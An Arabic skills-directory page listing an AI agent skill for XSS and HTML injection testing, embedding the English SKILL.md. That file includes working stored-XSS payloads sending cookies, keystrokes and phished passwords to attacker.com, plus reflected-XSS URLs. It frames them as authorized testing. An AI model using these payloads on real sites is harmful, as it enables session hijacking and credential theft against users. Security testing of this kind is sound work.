Skillpedia
الأمان33k · #9081

Cross-Site Scripting and HTML Injection Testing

ما الذي تفعله

تُرشد هذه المهارة وكيل الذكاء الاصطناعي إلى اختبار تطبيقات الويب بحثًا عن XSS وحقن HTML. وهي موجهة إلى المطورين ومختبري الأمان الذين يفحصون تطبيقاتهم أو تطبيقات يملكون تصريحًا باختبارها.

متى تستخدمها

  • ✓عندما تريد التحقق مما إذا كانت مدخلات المستخدم تظهر في الصفحة دون ترميز صحيح.
  • ✓عندما تحتاج إلى اختبار نقاط الحقن المخزنة أو المنعكسة أو القائمة على DOM في تطبيق ويب.
  • ✓عندما تتحقق مما إذا كانت سياسة أمان المحتوى تمنع حقن السكربتات.

رابط المهارة

https://github.com/davila7/claude-code-templates/blob/main/cli-tool/components/skills/security/xss-html-injection/SKILL.md

انسخه والصقه في الذكاء الاصطناعي الذي تستخدمه (Claude أو ChatGPT أو Cursor) واطلب منه اتباع التعليمات.

طريقة الاستخدام

أسهل طريقة: انسخ الرسالة والصقها في الذكاء الاصطناعي الذي تستخدمه. سيقرأ المهارة وينفّذ تعليماتها.

رسالة جاهزة للصق

استخدم هذه المهارة لمساعدتي: https://github.com/davila7/claude-code-templates/blob/main/cli-tool/components/skills/security/xss-html-injection/SKILL.md اقرأ ملف SKILL.md في هذا الرابط ونفّذ تعليماته لمهمتي.
تريد أن يجد الذكاء الاصطناعي مهارات مثل هذه بنفسه؟ثبّت خادم Skillpedia MCP المجاني: سطر واحد، ويبحث في 15,000+ مهارة قبل كل مهمة.ثبّته في دقيقة واحدة →

مثال على ما تطلبه من الذكاء الاصطناعي

“هل يمكنك اختبار حقول التعليقات والبحث لدينا بحثًا عن XSS، باستخدام موقع التجربة الخاص بنا؟”

5 مهارات جديدة كل أسبوع. قراءة في دقيقة واحدة.

كيف تعمل

يجد الوكيل الأماكن التي تُعكس فيها المدخلات أو تُخزَّن، ويختبر حمولات تجريبية آمنة، ويعرض الثغرات مع حلول ترميز المخرجات.

المحتوى التقني (ملف SKILL.md الأصلي)

النص الأصلي من المؤلف، مباشرة من GitHub.

Cross-Site Scripting and HTML Injection Testing

Purpose

Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms. This skill enables systematic detection and exploitation across stored, reflected, and DOM-based attack vectors.

Inputs / Prerequisites

Required Access

  • Target web application URL with user input fields
  • Burp Suite or browser developer tools for request analysis
  • Access to create test accounts for stored XSS testing
  • Browser with JavaScript console enabled

Technical Requirements

  • Understanding of JavaScript execution in browser context
  • Knowledge of HTML DOM structure and manipulation
  • Familiarity with HTTP request/response headers
  • Understanding of cookie attributes and session management

Legal Prerequisites

  • Written authorization for security testing
  • Defined scope including target domains and features
  • Agreement on handling of any captured session data
  • Incident response procedures established

Outputs / Deliverables

  • XSS/HTMLi vulnerability report with severity classifications
  • Proof-of-concept payloads demonstrating impact
  • Session hijacking demonstrations (controlled environment)
  • Remediation recommendations with CSP configurations

Core Workflow

Phase 1: Vulnerability Detection

Identify Input Reflection Points

Locate areas where user input is reflected in responses:

# Common injection vectors
- Search boxes and query parameters
- User profile fields (name, bio, comments)
- URL fragments and hash values
- Error messages displaying user input
- Form fields with client-side validation only
- Hidden form fields and parameters
- HTTP headers (User-Agent, Referer)

Basic Detection Testing

Insert test strings to observe application behavior:

<!-- Basic reflection test -->
<test123>

<!-- Script tag test -->
<script>alert('XSS')</script>

<!-- Event handler test -->
<img src=x onerror=alert('XSS')>

<!-- SVG-based test -->
<svg onload=alert('XSS')>

<!-- Body event test -->
<body onload=alert('XSS')>

Monitor for:

  • Raw HTML reflection without encoding
  • Partial encoding (some characters escaped)
  • JavaScript execution in browser console
  • DOM modifications visible in inspector

Determine XSS Type

Stored XSS Indicators:

  • Input persists after page refresh
  • Other users see injected content
  • Content stored in database/filesystem

Reflected XSS Indicators:

  • Input appears only in current response
  • Requires victim to click crafted URL
  • No persistence across sessions

DOM-Based XSS Indicators:

  • Input processed by client-side JavaScript
  • Server response doesn't contain payload
  • Exploitation occurs entirely in browser

Phase 2: Stored XSS Exploitation

Identify Storage Locations

Target areas with persistent user content:

- Comment sections and forums
- User profile fields (display name, bio, location)
- Product reviews and ratings
- Private messages and chat systems
- File upload metadata (filename, description)
- Configuration settings and preferences

Craft Persistent Payloads

<!-- Cookie stealing payload -->
<script>
document.location='http://attacker.com/steal?c='+document.cookie
</script>

<!-- Keylogger injection -->
<script>
document.onkeypress=function(e){
  new Image().src='http://attacker.com/log?k='+e.key;
}
</script>

<!-- Session hijacking -->
<script>
fetch('http://attacker.com/capture',{
  method:'POST',
  body:JSON.stringify({cookies:document.cookie,url:location.href})
})
</script>

<!-- Phishing form injection -->
<div id="login">
<h2>Session Expired - Please Login</h2>
<form action="http://attacker.com/phish" method="POST">
Username: <input name="user"><br>
Password: <input type="password" name="pass"><br>
<input type="submit" value="Login">
</form>
</div>

Phase 3: Reflected XSS Exploitation

Construct Malicious URLs

Build URLs containing XSS payloads:

# Basic reflected payload
https://target.com/search?q=<script>alert(document.domain)</script>

# URL-encoded payload
https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E

# Event handler in parameter
https://target.com/page?name="><img src=x onerror=alert(1)>

# Fragment-based (for DOM XSS)
https://target.com/page#<script>alert(1)</script>

Delivery Method

الأسئلة الشائعة

ما هو cross-site scripting؟

هو خلل يسمح للمهاجم بتشغيل سكربتات خاصة به في متصفح مستخدم آخر على الموقع.

هل تغطي حقن HTML أيضًا؟

نعم. تغطي المهارة XSS وحقن HTML معًا.

هل تتضمن حلولًا؟

نعم. توصي المهارة بترميز المخرجات والتحقق من المدخلات لمنع هذه الثغرات.

التفاصيل

الوصف الأصلي من المؤلف

This skill should be used when the user asks to "test for XSS vulnerabilities", "perform cross-site scripting attacks", "identify HTML injection flaws", "exploit client-side injection vulnerabilities", "steal cookies via XSS", or "bypass content security policies". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications.

repo: davila7/claude-code-templates

الشعبية

نجوم GitHub
33k
الترتيب
#9081
الترخيص
MIT
آخر تحديث
2‏/11‏/2026

هل هذه المهارة مفيدة؟

0

سجّل الدخول للتصويت.

التعليقات

  • …

المزيد من المهارات من هذا المستودع

مهارات مشابهة